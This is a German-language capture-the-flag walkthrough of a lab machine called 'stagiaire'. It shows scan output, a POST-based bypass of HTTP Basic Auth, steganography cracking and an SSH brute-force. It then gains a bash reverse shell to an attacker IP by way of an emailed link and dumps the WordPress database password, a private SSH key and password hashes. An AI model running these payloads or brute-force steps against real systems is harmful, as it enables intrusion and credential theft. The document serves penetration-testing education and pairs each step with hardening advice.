192.168.2.109 08:00:27:3f:30:2b PCS Systemtechnik GmbH
Analyse:** Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerksegment mittels ARP nach aktiven Geräten zu durchsuchen.
**Bewertung:** Ein Host mit der IP-Adresse `192.168.2.109` wird identifiziert. Die MAC-Adresse (`08:00:27:...`) deutet auf eine VirtualBox VM hin. Dies ist das Zielsystem.
**Empfehlung (Pentester):** Ziel-IP `192.168.2.109` notieren und mit Port-Scanning (Nmap) fortfahren.
**Empfehlung (Admin):** Standard-Netzwerkaufklärung. Absicherung der Dienste ist priorisiert.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-22 00:31 CEST Nmap scan report for stagiaire.hmv (192.168.2.109) Host is up (0.00012s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 9ef1ed84cc418c7ec692a9b42957bfd1 (RSA) | 256 9ff393db72ffcd4d5f093edc13364923 (ECDSA) |_ 256 e7a372ddd5afe2b57750ab3d27120fea (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: debian.numericable.fr, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING | ssl-cert: Subject: commonName=debian | Subject Alternative Name: DNS:debian | Not valid before: 2021-10-23T15:24:56 |_Not valid after: 2031-10-21T15:24:56 |_ssl-date: TLS randomness does not represent time 80/tcp open http Apache httpd 2.4.51 | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=Protected area <-- HTTP Basic Auth! |_http-title: 401 Unauthorized |_http-server-header: Apache/2.4.51 (Debian) MAC Address: 08:00:27:3F:30:2B (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: Host: debian.numericable.fr; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms stagiaire.hmv (192.168.2.109) Nmap done: 1 IP address (1 host up) scanned in X.XX seconds
**Analyse:** Ein umfassender Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf das Ziel `192.168.2.109` (stagiaire.hmv) durchgeführt.
**Bewertung:** Drei offene TCP-Ports werden identifiziert: * **Port 22 (SSH):** OpenSSH 8.4p1 (Debian). Standard-Fernzugriff, relativ aktuell. * **Port 25 (SMTP):** Postfix SMTP-Server. Interessant für Enumeration von Benutzern (`VRFY` Command) oder als potenzieller Vektor für Angriffe (z.B. E-Mail-Spoofing, Ausnutzung von Fehlkonfigurationen). Der Hostname `debian.numericable.fr` wird preisgegeben. * **Port 80 (HTTP):** Apache 2.4.51 (Debian). Der Zugriff auf die Hauptseite erfordert eine HTTP Basic Authentication (`401 Unauthorized`, Realm "Protected area"). Dies ist ein unmittelbares Hindernis für einfache Web-Enumeration.
**Empfehlung (Pentester):**
1. **HTTP (Priorität 1):** Versuchen Sie Standard-Credentials oder Brute-Force gegen die HTTP Basic Auth. Führen Sie trotz der Authentifizierung Web-Scanning-Tools (Nikto, Gobuster) aus, um zu sehen, ob einige Pfade eventuell nicht geschützt sind oder Informationen lecken.
2. **SMTP (Priorität 2):** Versuchen Sie, Benutzernamen über den `VRFY`-Befehl zu enumerieren (falls nicht deaktiviert). Prüfen Sie auf offene Relays oder andere Fehlkonfigurationen.
3. **SSH (Priorität 3):** Halten Sie Ausschau nach Benutzernamen für spätere Brute-Force-Versuche.
**Empfehlung (Admin):** Wenn HTTP Basic Auth verwendet wird, stellen Sie sicher, dass starke Passwörter verwendet werden und der Schutz konsistent auf alle relevanten Ressourcen angewendet wird. Überprüfen Sie die Postfix-Konfiguration, deaktivieren Sie `VRFY`, wenn nicht benötigt, und stellen Sie sicher, dass es kein offenes Relay ist. Härten Sie die SSH-Konfiguration.
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.109 + Target Hostname: 192.168.2.109 + Target Port: 80 + Start Time: 2022-10-22 00:35:16 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.51 (Debian) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + /: Requires Authentication for realm 'Protected area' + No CGI Directories found (use '-C all' to force check all possible dirs) + 8066 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2022-10-22 00:36:03 (GMT2) (47 seconds) --------------------------------------------------------------------------- + 1 host(s) tested [...] (Update-Anfrage von Nikto)
=
**Analyse:** Das Tool Nikto wird verwendet, um den Webserver auf Port 80 auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien/Verzeichnisse zu scannen.
**Bewertung:** Nikto bestätigt die Server-Version (Apache/2.4.51) und die HTTP Basic Authentication auf der Startseite (`/`). Es meldet das Fehlen einiger sicherheitsrelevanter HTTP-Header (X-Frame-Options, X-XSS-Protection, X-Content-Type-Options), was zwar Best Practice ist, aber selten zu direkten Exploits führt. Es wurden keine offensichtlichen CGI-Verzeichnisse oder gravierenden Schwachstellen gefunden.
**Empfehlung (Pentester):** Die fehlenden Header sind von geringer Priorität. Der Fokus bleibt auf der Umgehung oder dem Knacken der Basic Authentication und der Untersuchung des SMTP-Servers.
**Empfehlung (Admin):** Fügen Sie die empfohlenen Sicherheitsheader (X-Frame-Options: DENY/SAMEORIGIN, X-Content-Type-Options: nosniff, Content-Security-Policy) zur Apache-Konfiguration hinzu, um die allgemeine Sicherheit gegen bestimmte clientseitige Angriffe zu erhöhen.
[...] (PyCurl SSL Warning) Target: stagiaire.hmv [...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== Total time: 150.2931 seconds Processed Requests: 220560 Filtered Requests: 220560 <-- Keine Ergebnisse gefunden --> Requests/sec.: 1467.532
=
**Analyse:** Hier wird `wfuzz` verwendet, um nach virtuellen Hosts (VHosts) zu suchen. Es wird die Ziel-URL `stagiaire.hmv` (die aber laut `dig` nicht auflöst, daher wird vermutlich die IP `192.168.2.109` verwendet) abgefragt. Mit `-H "Host: http://FUZZ.stagiaire.hmv"` wird der Host-Header manipuliert, wobei `FUZZ` durch Einträge aus der Wortliste ersetzt wird. `--hc 404` filtert 404-Fehler heraus, `--hh 305` filtert Antworten mit 305 Zeichen heraus (dies wird oft verwendet, um Standard-"Seite nicht gefunden"-Antworten auszublenden).
**Bewertung:** Der Scan liefert keine Ergebnisse (Filtered Requests = Processed Requests). Es wurden keine zusätzlichen virtuellen Hosts gefunden, die einen anderen Inhalt als die Standard-IP-Adresse liefern.
**Empfehlung (Pentester):** VHost-Enumeration war erfolglos. Konzentrieren Sie sich auf die bekannten Dienste und die HTTP Basic Auth.
**Empfehlung (Admin):** Keine spezifische Aktion erforderlich, außer sicherzustellen, dass die VHost-Konfiguration korrekt ist und keine unerwünschten Hosts aktiv sind.
; <<>> DiG 9.18.7-1-Debian <<>> http://stagiaire.hmv ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 58599 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 512 ;; QUESTION SECTION: ;http://stagiaire.hmv. IN A ;; AUTHORITY SECTION: . 3514 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022102102 1800 900 604800 86400 ;; Query time: 7 msec ;; SERVER: 192.168.2.1#53(192.168.2.1) (UDP) ;; WHEN: Sat Oct 22 00:52:45 CEST 2022 ;; MSG SIZE rcvd: 124
#
**Analyse:** Der Befehl `dig` wird verwendet, um eine DNS-Abfrage für den Hostnamen `http://stagiaire.hmv` durchzuführen. *Hinweis: `http://` sollte nicht Teil des Hostnamens sein, `dig stagiaire.hmv` wäre korrekt gewesen.*
**Bewertung:** Die Abfrage schlägt fehl (`status: NXDOMAIN`), was bedeutet, dass der DNS-Server (`192.168.2.1`) den Namen `http://stagiaire.hmv` (oder `stagiaire.hmv`) nicht auflösen kann. Dies bestätigt, dass der Hostname, falls er vom Zielsystem verwendet wird, nicht im lokalen DNS bekannt ist. Für den Zugriff muss die IP-Adresse verwendet werden, es sei denn, der Name wird manuell in die lokale `/etc/hosts`-Datei eingetragen.
**Empfehlung (Pentester):** Verwenden Sie weiterhin die IP-Adresse `192.168.2.109` für den Zugriff. Fügen Sie `stagiaire.hmv` nur dann zur `/etc/hosts`-Datei hinzu, wenn es Hinweise gibt, dass der Server auf diesen Namen spezifisch reagiert.
**Empfehlung (Admin):** Stellen Sie sicher, dass interne Hostnamen korrekt im DNS registriert sind, falls erforderlich.
HTTP/1.1 401 Unauthorized
Date: Fri, 21 Oct 2022 22:53:07 GMT
Server: Apache/2.4.51 (Debian)
WWW-Authenticate: Basic realm="Protected area"
Content-Type: text/html; charset=iso-8859-1
**Analyse:** `curl -I` wird verwendet, um nur die HTTP-Header für eine Anfrage an die Wurzel (`/`) des Webservers auf Port 80 abzurufen.
**Bewertung:** Bestätigt erneut den Status `401 Unauthorized` und den `WWW-Authenticate`-Header für HTTP Basic Authentication mit dem Realm "Protected area".
**Empfehlung (Pentester):** Der nächste logische Schritt wäre ein Brute-Force-Angriff auf diese Basic Authentication, falls keine anderen Schwachstellen gefunden werden.
**Empfehlung (Admin):** Verwenden Sie starke Passwörter für Basic Auth oder bevorzugen Sie robustere Authentifizierungsmethoden.
**Analyse:** Trotz der Basic Authentication werden verschiedene HTTP-Methoden und Pfade getestet, um nach Informationslecks oder Hinweisen zu suchen.

**Analyse:** Eine HTTP PUT-Anfrage wird an den Pfad `/index.php` gesendet. Überraschenderweise antwortet der Server nicht mit einem Fehler (wie 401 Unauthorized oder 404 Not Found), sondern mit einem HTML-Fragment, das ein Bild `madonna.jpg` referenziert.
**Bewertung:** Dieses Verhalten ist höchst ungewöhnlich. Eine PUT-Anfrage sollte normalerweise nicht mit einem HTML-Image-Tag beantwortet werden. Dies deutet auf eine Fehlkonfiguration oder eine absichtlich platzierte "Easter Egg"/Hinweis-Mechanik hin. Der Dateiname `madonna.jpg` ist der Schlüsselhinweis.
**Empfehlung (Pentester):** Versuchen Sie, die Datei `madonna.jpg` herunterzuladen (auch wenn der erste Versuch mit `wget` fehlschlug). Der Name "madonna" könnte auch ein Benutzername sein.
**Empfehlung (Admin):** Untersuchen Sie die Apache-Konfiguration. Warum antwortet der Server auf PUT-Anfragen an `/index.php` auf diese Weise? Beheben Sie diese Fehlkonfiguration.
--2022-10-22 00:54:59-- http://192.168.2.109/madonna.jpg
Verbindungsaufbau zu 192.168.2.109:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 401 Unauthorized
Authentifizierung mit Benutzername/Passwort fehlgeschlagen.
**Analyse:** Der Versuch, `madonna.jpg` direkt mit `wget` (das eine GET-Anfrage sendet) herunterzuladen, schlägt wie erwartet aufgrund der HTTP Basic Authentication (401 Unauthorized) fehl.
**Bewertung:** Bestätigt, dass die Datei `/madonna.jpg` existiert, aber durch Basic Auth geschützt ist.
**Empfehlung (Pentester):** Versuchen Sie andere HTTP-Methoden (wie POST im nächsten Schritt), um die Datei zu erhalten, oder versuchen Sie, die Basic Auth zu knacken.
**Empfehlung (Admin):** Stellen Sie sicher, dass der Schutz konsistent angewendet wird.
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 127k 100 127k 0 0 7092k 0 --:--:-- --:--:-- --:--:-- 7470k
**Analyse:** Eine HTTP POST-Anfrage wird an `/madonna.jpg` gesendet. Die Option `--output ben.jpg` speichert die Antwort des Servers in einer lokalen Datei namens `ben.jpg`. Überraschenderweise gelingt der Download mit POST, obwohl GET blockiert wurde.
**Bewertung:** Dies ist eine klare Fehlkonfiguration des Authentifizierungsschutzes. Die Basic Authentication wird nicht auf POST-Anfragen für diese Datei angewendet. Die Bilddatei `madonna.jpg` konnte heruntergeladen werden.
**Empfehlung (Pentester):** Untersuchen Sie die heruntergeladene Datei `ben.jpg` auf versteckte Informationen (Metadaten, Steganographie).
**Empfehlung (Admin):** Korrigieren Sie die Apache-Konfiguration, um sicherzustellen, dass die HTTP Basic Authentication auf alle relevanten HTTP-Methoden (GET, POST, etc.) für geschützte Ressourcen angewendet wird.
Passwort eingeben:<-- Passwort unbekannt -->
**Analyse:** Es wird versucht, mit `steghide` versteckte Daten aus der heruntergeladenen Bilddatei `ben.jpg` zu extrahieren. `steghide` benötigt eine Passphrase.
**Bewertung:** Ohne die korrekte Passphrase kann `steghide` keine Daten extrahieren. Der Versuch schlägt fehl.
**Empfehlung (Pentester):** Versuchen Sie, die Passphrase mit Steganographie-Bruteforce-Tools wie `stegseek` zu finden.
**Empfehlung (Admin):** Keine.
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "freeze"
[i] Original filename: "info.txt".
[i] Extracting to "ben.jpg.out".
**Analyse:** Das Tool `stegseek` wird verwendet, um die `steghide`-Passphrase für `ben.jpg` mittels der `rockyou.txt`-Wortliste zu bruteforcen.
**Bewertung:** Erfolg! `stegseek` findet die Passphrase `freeze` und extrahiert die versteckte Datei unter dem Namen `ben.jpg.out` (der ursprüngliche Dateiname war `info.txt`).
**Empfehlung (Pentester):** Untersuchen Sie den Inhalt der extrahierten Datei `ben.jpg.out` (oder `info.txt`).
**Empfehlung (Admin):** Keine.
Don't waste your time I hate CTFs lol
Passwort eingeben: ******** (freeze eingegeben) Extrahierte Daten wurden nach "info.txt" geschrieben.
Don't waste your time I hate CTFs lol
=
**Analyse:** Der Inhalt der extrahierten Datei (`ben.jpg.out` und `info.txt` nach erneuter Extraktion mit `steghide` und der bekannten Passphrase `freeze`) wird angezeigt.
**Bewertung:** Der Inhalt ist eine Troll-Nachricht ("Don't waste your time I hate CTFs lol") und liefert scheinbar keine direkten Hinweise.
**Empfehlung (Pentester):** Die Steganographie war eine Sackgasse oder ein Scherz. Überprüfen Sie, ob der *Dateiname* `info.txt` selbst ein Hinweis ist. Versuchen Sie, diesen Pfad auf dem Webserver abzurufen.
**Empfehlung (Admin):** Keine.
[...] (Authenticity prompt) madonna@stagiaire.hmv's password: (Versuch mit 'freeze'?) Permission denied, please try again. madonna@stagiaire.hmv's password:<-- Login fehlgeschlagen -->
**Analyse:** Es wird versucht, sich per SSH als Benutzer `madonna` (aus dem Dateinamen `madonna.jpg`) anzumelden. Es wird ein Passwort eingegeben (möglicherweise `freeze` aus der Steganographie?), aber der Login schlägt fehl (`Permission denied`).
**Bewertung:** Der Benutzername `madonna` existiert möglicherweise, aber die Passphrase `freeze` ist nicht das SSH-Passwort. Der Hinweis aus der Steganographie bezog sich nur auf die versteckte Datei.
**Empfehlung (Pentester):** Versuchen Sie, den zuvor gefundenen Dateinamen `info.txt` als Pfad auf dem Webserver zu verwenden (`curl -X POST http://192.168.2.109/info.txt`).
**Empfehlung (Admin):** Keine.
/madonnasecretlife
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
**Analyse:** Eine POST-Anfrage wird an den Pfad `/info.txt` auf dem Webserver gesendet (basierend auf dem Dateinamen aus der Steganographie).
**Bewertung:** Wieder ein Erfolg durch die ungewöhnliche Serverkonfiguration! Der Server antwortet mit einem Pfad: `/madonnasecretlife`. Dies ist höchstwahrscheinlich der Pfad zu einer versteckten Webanwendung.
**Empfehlung (Pentester):** Untersuchen Sie den Pfad `/madonnasecretlife` auf dem Webserver (`http://192.168.2.109/madonnasecretlife/`) mit einem Browser und Enumeration-Tools (Gobuster).
**Empfehlung (Admin):** Beheben Sie die Konfiguration, die es erlaubt, auf POST-Anfragen an beliebige Pfade mit Hinweisen zu antworten. Sichern Sie die Anwendung unter `/madonnasecretlife`.
**Analyse:** Untersuchung des im vorherigen Schritt gefundenen Verzeichnisses `/madonnasecretlife`.
=============================================================== Gobuster v3.1.0 [...] =============================================================== [+] Url: http://192.168.2.109/madonnasecretlife [...] =============================================================== [... Zeitstempel ...] Starting gobuster =============================================================== /index.php (Status: 301) [Size: 0] [--> http://192.168.2.109/madonnasecretlife/] /wp-content (Status: 301) [Size: 337] [--> http://192.168.2.109/madonnasecretlife/wp-content/] /wp-login.php (Status: 200) [Size: 6427] <-- WordPress Login /license.txt (Status: 200) [Size: 19915] /wp-includes (Status: 301) [Size: 338] [--> http://192.168.2.109/madonnasecretlife/wp-includes/] /readme.html (Status: 200) [Size: 7346] /wp-trackback.php (Status: 200) [Size: 135] /wp-admin (Status: 301) [Size: 335] [--> http://192.168.2.109/madonnasecretlife/wp-admin/] /xmlrpc.php (Status: 405) [Size: 42] <-- Methode nicht erlaubt, aber existiert --> [...] =============================================================== [... Zeitstempel ...] Finished ===============================================================
**Analyse:** Gobuster wird auf das Verzeichnis `/madonnasecretlife` angesetzt.
**Bewertung:** Die gefundenen Pfade (`wp-content`, `wp-login.php`, `wp-admin`, `wp-includes`, `xmlrpc.php`, `readme.html`, `license.txt`) sind eindeutige Indikatoren für eine WordPress-Installation.
**Empfehlung (Pentester):** Führen Sie einen spezialisierten WordPress-Scanner wie `wpscan` aus, um die Version, installierte Plugins/Themes und bekannte Schwachstellen zu identifizieren. Versuchen Sie, Benutzernamen zu enumerieren (z.B. über Autor-Scans oder `wpscan`). Versuchen Sie einen Login auf `/madonnasecretlife/wp-login.php` mit dem Benutzernamen `madonna` und potenziellen Passwörtern.
**Empfehlung (Admin):** Halten Sie WordPress Core, Themes und Plugins immer aktuell. Entfernen Sie unnötige Dateien wie `readme.html` oder `license.txt`. Deaktivieren Sie `xmlrpc.php`, wenn es nicht benötigt wird (häufiger Angriffsvektor für Brute-Force). Schützen Sie das Login (`wp-login.php`) zusätzlich (z.B. Fail2Ban, 2FA, IP-Whitelisting).
[... WPScan Ausgabe nicht im Log enthalten ...]
**Analyse:** Es wird versucht, `wpscan` zu verwenden, um einen Passwort-Brute-Force-Angriff gegen den WordPress-Login durchzuführen. Ziel ist der Benutzer `madonna` mit der Passwortliste `rockyou.txt`. Ein API-Token wird verwendet, um Schwachstellendaten abzurufen.
**Bewertung:** Die Ausgabe von `wpscan` fehlt im Log. Es ist anzunehmen, dass der Brute-Force-Angriff auf den WordPress-Login erfolglos war, da im nächsten Schritt ein Brute-Force gegen SSH versucht wird.
**Empfehlung (Pentester):** Wenn WPScan keine Schwachstellen oder gültigen Logins findet, evaluieren Sie andere Angriffsvektoren neu (SMTP, SSH).
**Empfehlung (Admin):** Schützen Sie den WordPress-Login vor Brute-Force-Angriffen (z.B. Limit Login Attempts Plugin, Fail2Ban, starke Passwörter).
Hydra v9.3 [...] starting at 2022-10-22 01:04:17
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[...]
[DATA] attacking ssh://stagiaire.hmv:22/
[STATUS] 128.00 tries/min, 128 tries in 00:01h, 14344286 to do in 1867:45h, 14 active
[...]
^C^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
=
**Analyse:** Es wird versucht, das SSH-Passwort für den Benutzer `madonna` mittels Hydra und der `rockyou.txt`-Liste zu bruteforcen.
**Bewertung:** Der Angriff wird nach einiger Zeit manuell abgebrochen (`^C`). Es wurde kein gültiges Passwort gefunden. Dies passt zur Information aus der `index.html`, dass `eleanor`s (nicht `madonna`s) SSH-Zugang deaktiviert wurde, aber es scheint auch für `madonna` kein einfaches Passwort zu geben.
**Empfehlung (Pentester):** Brute-Force gegen SSH ist oft zeitaufwendig und laut. Da die vorherigen Angriffe erfolglos waren, kehren Sie zum SMTP-Vektor zurück. Gibt es eine Möglichkeit, eine Nachricht an `madonna` zu senden, die einen Befehl ausführt oder eine Verbindung aufbaut?
**Empfehlung (Admin):** Implementieren Sie Fail2Ban für SSH, um Brute-Force-Angriffe zu verlangsamen oder zu blockieren. Verwenden Sie starke Passwörter oder Schlüssel-Authentifizierung.
**Analyse:** Nachdem Web-Enumeration und Brute-Force-Versuche erfolglos blieben, wird der SMTP-Dienst als Vektor für den initialen Zugriff genutzt. Der Plan ist, eine E-Mail an `madonna@stagiaire.hmv` zu senden, die einen Link enthält. Wenn dieser Link vom Benutzer (oder einem automatisierten Prozess) aufgerufen wird, soll er einen Reverse-Shell-Payload ausführen.
bash -c 'bash -i >& /dev/tcp/192.168.2.153/9001 0>&1'
<-- Inhalt der lokalen index.html -->
**Analyse:** Auf der Angreifer-Maschine wird eine Datei `index.html` erstellt, die einen Bash-Reverse-Shell-Befehl enthält. Dieser Befehl soll eine interaktive Bash-Shell starten und deren Ein-/Ausgabe an die Angreifer-IP `192.168.2.153` auf Port `9001` umleiten.
**Bewertung:** Dies ist der Payload, der ausgeführt werden soll, wenn das Zielsystem die URL aus der E-Mail abruft.
**Empfehlung (Pentester):** Stellen Sie sicher, dass die IP und der Port korrekt sind. Starten Sie einen HTTP-Server, um diese Datei bereitzustellen.
**Empfehlung (Admin):** Keine.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
**Analyse:** Ein Python-HTTP-Server wird auf Port 8000 gestartet, um die zuvor erstellte `index.html` (mit dem Reverse-Shell-Payload) im Netzwerk bereitzustellen.
**Bewertung:** Der Webserver läuft und wartet auf Anfragen.
**Empfehlung (Pentester):** Halten Sie diesen Server am Laufen. Starten Sie den Netcat-Listener für die Reverse Shell.
**Empfehlung (Admin):** Firewalls können ausgehende Verbindungen vom Zielsystem zum Angreifer-Webserver blockieren.
*
listening on [any] 9001 ...
**Analyse:** Ein Netcat-Listener wird auf Port 9001 gestartet, um die eingehende Reverse-Shell-Verbindung zu empfangen.
**Bewertung:** Der Listener ist bereit.
**Empfehlung (Pentester):** Senden Sie nun die E-Mail über den SMTP-Server des Ziels.
**Empfehlung (Admin):** Keine.
(UNKNOWN) [192.168.2.109] 25 (smtp) open 220 debian.numericable.fr ESMTP Postfix (Debian/GNU) MAIL FROM: root@cyber 250 2.1.0 Ok RCPT TO: madonna@stagiaire.hmv 250 2.1.5 Ok DATA 354 End data with. http://192.168.2.153:8000 <-- URL zum Payload wird gesendet --> . 250 2.0.0 Ok: queued as 4C585618E3
**Analyse:** Eine manuelle SMTP-Sitzung wird über Netcat zum Zielserver (Port 25) aufgebaut. 1. `MAIL FROM: root@cyber`: Setzt den Absender. 2. `RCPT TO: madonna@stagiaire.hmv`: Setzt den Empfänger auf den Benutzer `madonna`. 3. `DATA`: Beginnt die Eingabe des E-Mail-Inhalts. 4. `http://192.168.2.153:8000`: Der Inhalt der E-Mail ist nur die URL, die auf den HTTP-Server des Angreifers zeigt, wo die `index.html` mit dem Reverse-Shell-Payload liegt. 5. `.`: Beendet die Dateneingabe. Der Server akzeptiert die E-Mail und stellt sie in die Warteschlange (`queued as ...`).
**Bewertung:** Die E-Mail wurde erfolgreich gesendet. Der Angriffsplan hängt nun davon ab, dass der Benutzer `madonna` (oder ein automatischer Prozess wie ein Mail-Scanner oder Link-Checker) die E-Mail öffnet und die URL abruft, wodurch der Payload auf dem Zielsystem ausgeführt wird.
**Empfehlung (Pentester):** Warten Sie am Netcat-Listener auf die eingehende Verbindung.
**Empfehlung (Admin):** Konfigurieren Sie den Mailserver sicher (Authentifizierung, Spam-/Phishing-Filter). Schulen Sie Benutzer darin, nicht auf unbekannte Links zu klicken. Implementieren Sie ggf. Systeme, die ausgehenden Webverkehr vom Mailserver oder von Benutzerkonten überwachen/einschränken.
listening on [any] 9001 ... connect to [192.168.2.153] from (UNKNOWN) [192.168.2.109] 54130 <-- Erfolg! --> bash: cannot set terminal process group (2768): Inappropriate ioctl for device bash: no job control in this shell madonna@stagiaire:~$ <-- Shell als madonna -->
**Analyse:** Der Netcat-Listener empfängt eine Verbindung vom Zielsystem. Der Shell-Prompt `madonna@stagiaire:~$` wird angezeigt.
**Bewertung:** Der SMTP-Vektor war erfolgreich! Das Abrufen der URL aus der E-Mail hat den Reverse-Shell-Payload ausgeführt und eine Shell als Benutzer `madonna` etabliert.
**Empfehlung (Pentester):** Stabilisieren Sie die Shell.
**Empfehlung (Admin):** Untersuchen Sie, welcher Prozess die URL abgerufen und den Payload ausgeführt hat. Sichern Sie das Mail-System und die Benutzerkonten.
*
Stabilisiere Reverse Shell
=
zsh: suspended nc -lvnp 9001
[1] + continued nc -lvnp 9001 reset
**Analyse:** Die erhaltene Shell als `madonna` wird mit der Standardmethode (Python PTY Spawn, stty raw -echo, fg) stabilisiert.
**Bewertung:** Der Angreifer hat nun eine voll funktionsfähige interaktive Shell als `madonna`.
**Empfehlung (Pentester):** Beginnen Sie mit der Enumeration und Privilegieneskalation als `madonna`.
**Empfehlung (Admin):** Keine.
**Analyse:** Nach Erhalt der Shell als `madonna` wird nach Wegen zur Eskalation gesucht. Dies beinhaltet das Lesen von Konfigurationsdateien und das Suchen nach privaten Schlüsseln.
/** * The base configuration for WordPress [...] */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress_db' ); /** MySQL database username */ define( 'DB_USER', 'madonna' ); /** MySQL database password */ define( 'DB_PASSWORD', '@Acensi2021*' ); <-- DB Passwort gefunden! /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); /** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8' ); /** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' ); [...]
**Analyse:** Die Konfigurationsdatei `wp-config.php` der WordPress-Installation unter `/var/www/html/madonnasecretlife` wird ausgelesen. *Hinweis: Der Prompt im Log (`www-data@...`) ist inkonsistent; dieser Befehl wird wahrscheinlich als `madonna` ausgeführt, da `madonna` Zugriff auf die Dateien haben sollte.* Die Datei enthält die Zugangsdaten zur WordPress-Datenbank.
**Bewertung:** Ein wichtiger Fund! Das Datenbank-Passwort für den Benutzer `madonna` lautet `@Acensi2021*`. Dieses Passwort könnte möglicherweise für andere Dienste oder Benutzer (wie den SSH-Login von `madonna`) wiederverwendet worden sein.
**Empfehlung (Pentester):**
1. Versuchen Sie, das gefundene Passwort `@Acensi2021*` für den SSH-Login des Benutzers `madonna` zu verwenden (obwohl der vorherige Brute-Force fehlschlug, könnte dies das korrekte Passwort sein).
2. Verwenden Sie die gefundenen DB-Credentials, um sich mit der lokalen MariaDB-Datenbank zu verbinden und nach weiteren Informationen (z.B. Benutzer-Hashes in `wp_users`) zu suchen.
**Empfehlung (Admin):** Datenbank-Passwörter sollten niemals mit Benutzer-Login-Passwörtern identisch sein. Verwenden Sie einzigartige, starke Passwörter für jeden Dienst. Beschränken Sie die Leserechte auf Konfigurationsdateien wie `wp-config.php` auf das absolut Notwendige.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...] (Langer Schlüsselblock)
-----END OPENSSH PRIVATE KEY-----
**Analyse:** Im Verzeichnis `~/.ssh` (Home-Verzeichnis von `madonna`) wird die Datei `id_rsa` (privater SSH-Schlüssel) gefunden und ausgelesen.
**Bewertung:** Der private SSH-Schlüssel von `madonna` wurde gefunden. Dieser Schlüssel könnte verwendet werden, um sich als `madonna` auf anderen Systemen anzumelden, falls er dort hinterlegt ist, oder um auf Git-Repositories zuzugreifen. Er hilft jedoch nicht direkt bei der Eskalation auf *diesem* System.
**Empfehlung (Pentester):** Speichern Sie den Schlüssel für potenzielle spätere Verwendung. Prüfen Sie, ob der Schlüssel passwortgeschützt ist (wahrscheinlich nicht, da kein Passwort abgefragt wird).
**Empfehlung (Admin):** Schützen Sie private SSH-Schlüssel immer mit einer starken Passphrase. Stellen Sie sicher, dass die Dateiberechtigungen für `~/.ssh/id_rsa` korrekt sind (`600`).
[sudo] password for madonna: @Acensi2021* <-- DB Passwort wird versucht --> Sorry, user madonna may not run sudo on stagiaire.
**Analyse:** Es wird versucht, `sudo -l` auszuführen, um die Sudo-Rechte von `madonna` zu prüfen. Das zuvor in `wp-config.php` gefundene Passwort (`@Acensi2021*`) wird eingegeben.
**Bewertung:** Das Passwort `@Acensi2021*` ist korrekt für den Benutzer `madonna` (da die Passwortabfrage akzeptiert wird). Allerdings hat `madonna` keine Berechtigung, `sudo` zu verwenden ("may not run sudo"). Eine Eskalation über Sudo ist für `madonna` nicht möglich.
**Empfehlung (Pentester):** Da `sudo` keine Option ist, verbinden Sie sich mit der Datenbank, um nach weiteren Hinweisen zu suchen. Untersuchen Sie andere Verzeichnisse und Dateien, auf die `madonna` Zugriff hat.
**Empfehlung (Admin):** Gut, dass `madonna` keine Sudo-Rechte hat. Schlecht, dass das DB-Passwort mit dem Login-Passwort identisch war.
=
Enter password: ******** (@Acensi2021* eingegeben) Welcome to the MariaDB monitor. [...] Server version: 10.5.12-MariaDB-0+deb11u1 Debian 11 [...] MariaDB [(none)]>
+--------------------+ | Database | +--------------------+ | information_schema | | wordpress_db | +--------------------+ 2 rows in set (0.000 sec)
Database changed
+------------------------+ | Tables_in_wordpress_db | +------------------------+ | wp_commentmeta | [...] | wp_usermeta | | wp_users | +------------------------+ 12 rows in set (0.000 sec)
+----+------------+------------------------------------+---------------+-----------------------+---------------------------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-----------------------+---------------------------------------+---------------------+---------------------+-------------+--------------+
| 1 | madonna | $P$B9Y7nXozQgTPe1PD/8sP4VEcoL7L1 | madonna | madonna@localhost.com | http://192.168.0.49/madonnasecretlife | 2021-10-24 09:59:12 | | 0 | madonna |
